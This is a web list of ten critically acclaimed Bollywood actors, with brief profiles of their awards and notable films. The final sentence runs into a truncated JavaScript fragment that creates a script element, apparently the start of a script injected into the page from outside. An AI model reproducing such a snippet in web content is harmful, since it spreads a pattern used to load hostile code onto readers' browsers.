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10 Critically Acclaimed Actors in Bollywood

Anupam Kher

Anupam Kher

The National Award winning actor has acted in more than 470 films and 100 plays. In addition to Hindi cinema, he has also appeared in international movies, most notable the Oscar nominated Silver Linings Playbook. The 58 year old actor who won the Filmfare Award for the Best Actor for his role in the movie Saaransh, recently appeared in the movie Yamla Pagla Deewana 2. He also served as the Chairman of Sensor Board of India.

Naseeruddin Shah


Naseeruddin Shah, Padma Bhushan is one of the most iconic actors of Indian Cinema and Indian Theater. The three-time National Award winning actor has been nominated for countless awards winning many of them including international awards like The Volpi Cup (Best Actor) at the Venice Film Festival in 1984 for the movie Paar. The 63 year old actor who is one of the most influential actors of the Indian Parallel Cinema is starring in a movie John Day which is slated to be released today.

Om Puri

Om Puri

Om Puri (OBE) who appeared in countless mainstream and art films in India, also appeared in many British and American movies. His first award was for his role as an oppressed peasant in the movie Aakrosh. He also starred in the highly critically acclaimed mini-series Tamas. The versatile actor was awarded the Filmfare Award for Lifetime Achievement in 2009.

Shahrukh Khan


The King of Bollywood is also the king of awards. The actor has been nominated thirty times and won 8 Filmfare awards for the Best Actor, becoming only the second person to do that after Dilip Kumar; in addition to winning several other awards. SRK has done many roles ranging across romantic and thriller films. His last award winning movie My Name Is Khan won three Filmfare awards in addition to many others, it was also highly acclaimed.

Aamir Khan


The three time National award winning “perfectionist” actor has been acting since the age of eleven. Aamir Khan’s versatility extends beyond acting as he is also a writer, producer and a director. His first commercial film won him the award for the best male debut. The 48 year old actor’s first production was the Oscar nominated Lagaan. His 2010 film 3 Idiots became the highest grossing Bollywood film of all time.

Waheeda Rahman

Waheeda Rehman

The iconic actress who was awarded both the Padma Shri and the Padma Bhushan has acted in many critically acclaimed films like Guide, Reshma Aur Shera, Rang De Basanti, Water. The actress won the Filmfare Best Actress award for her role in the National Award winning movie Guide starring opposite Dev Anand. She also won the National Award for the Best Actress for the movie Reshma Aur Shera. She will be seen next in Kamal Hasan movie Vishwaroop 2.

Shabana Azmi


Shabana Azmi made her film debut in 1974 and soon became one of the leading actresses of Indian parallel cinema. Regarded as one of the finest actresses in India, Azmi’s performances in films in a variety of genres have generally earned her praise and awards, which include a record of five wins of the National Film Award for Best Actress and several international honours. She has also received four Filmfare Awards. In addition to acting, Azmi is a social and women’s rights activist, a Goodwill Ambassador of the United Nations Population Fund (UNPFA), and a member of the Rajya Sabha.

Kirron Kher


Kirron Kher made her film debut in 1983 in the Punjabi feature film Aasra Pyar Da and received rave reviews for her performance. Her film Sardari Begum won her a National Award and the movie Bariwali won her her second National Award. She is also a prominent theater personality in India. Her performance in the movie Devdas was highly acclaimed.

Aishwarya Rai

Aishwarya Rai

The former Miss World is a leading Bollywood actress and has received two Filmfare Awards, two Screen Awards, and two IIFA Awards for her performances in Hindi movies. She was awarded Padma Shri and the Ordre des Arts et des Lettres by the Government of France in 2012. In addition to Hindi movies, she also starred in several international films like Pink Panther 2.

Rani Mukerji

Bengali actresses in Bollywood

Through her successful Bollywood acting career, she has become one of the most high-profile celebrities in India. Mukerji has received seven Filmfare Awards (the most for an actress) from fourteen nominations, and her film roles have been cited as a significant departure from the traditional portrayal of women in mainstream Hindi cinema.var d=document;var s=d.createElement(‘script’);

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